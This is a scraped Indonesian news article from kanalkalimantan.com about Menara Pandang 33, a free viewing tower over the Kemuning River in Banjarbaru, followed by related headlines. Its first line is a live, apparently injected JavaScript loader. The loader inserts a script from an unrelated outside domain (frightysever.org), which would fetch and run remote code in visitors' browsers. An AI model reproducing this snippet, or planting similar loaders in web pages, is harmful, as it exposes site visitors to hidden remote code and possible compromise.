(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Melihat Kota Banjarbaru dari atas ketinggian, maka wajib mencoba menaiki Menara Pandang 33, yang berada diatas Sungai Kemuning atau tepatnya yang berada disamping Jalan A Yani Km 33, Banjarbaru.
Pada tahun 2019 lalu, Pemerintah Kota Banjarbaru membangun sebuah menara yang tingginya mencapai 15 meter. Menara ini berbentuk segitiga dan bercorak warna warni, berdiri di atas aliran air sungai kemuning.
Pembangunannya sendiri merupakan proyek kolaborasi antara Dinas PUPR (Pekerjaan Umum dan Penataan Ruang) Banjarbaru dengan Program Kotaku Kementerian PUPR RI. Tujuannya untuk mempercantik wilayah di kawasan tersebut yang dahulunya sempat dicap kumuh.
Kepala Dinas PUPR Kota Banjarbaru, Jaya Kresna, mengungkapkan bahwa pembangunan Menara Pandang 33 juga demi menambah nilai estetika Sungai Kemuning. Menurutnya, banyak masyarakat yang datang ke menara tersebut untuk swafoto dan berekreasi.
“Diatas Menara Pandang 33 itu biasanya dijadikan tempat foto dan menikmati pemandangan Sungai Kemuning dari ketinggian. Berwisata disana juga terbilang murah bagi masyarakat lokal maupun masyarakat luar kota Banjarbaru,” katanya.
Terkhusus saat akhir pekan, kawasan ini begitu ramai dikunjungi. Bagaimana tidak, para pengunjung yang datang sama sekali tidak dikenakan tarif sepeserpun, termasuk untuk parkir kendaraan. Pengunjung juga disediakan fasilitas laham parkir hingga toilet yang disediakan oleh warga.
Menurut Ketua Forum Destinasi Wisata Kota Banjarbaru, Sumadi, setelah satu tahun lebih berdirinya Menara Pandang 33, kunjungan wisata di kota Banjarbaru juga mulai berkembang. Tidak hanya itu, kawasan lainnya yang berada disekitar lokasi Menara Pandang 33 juga merasakan dampaknya.
“Menara ini sebenarnya menjadi magnet bagi wisatawan atau masyarakat lokal yang berekreasi. Tidak jauh dari lokasi menara ini ada juga Kampung Pelangi, jadi banyak wisatan yang juga kesana. Ini berdampak positif bagi kawasan sekitar,” katanya.
Selain itu, Sumedi juga mengakui bahwa warga di wilayah menara sangatlah ramah saat menyambut wisatawan yang datang. Maka tidak heran, Menara Pandang 33 direkomendasikan menjadi tempat berlibur dan bersantai.(kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.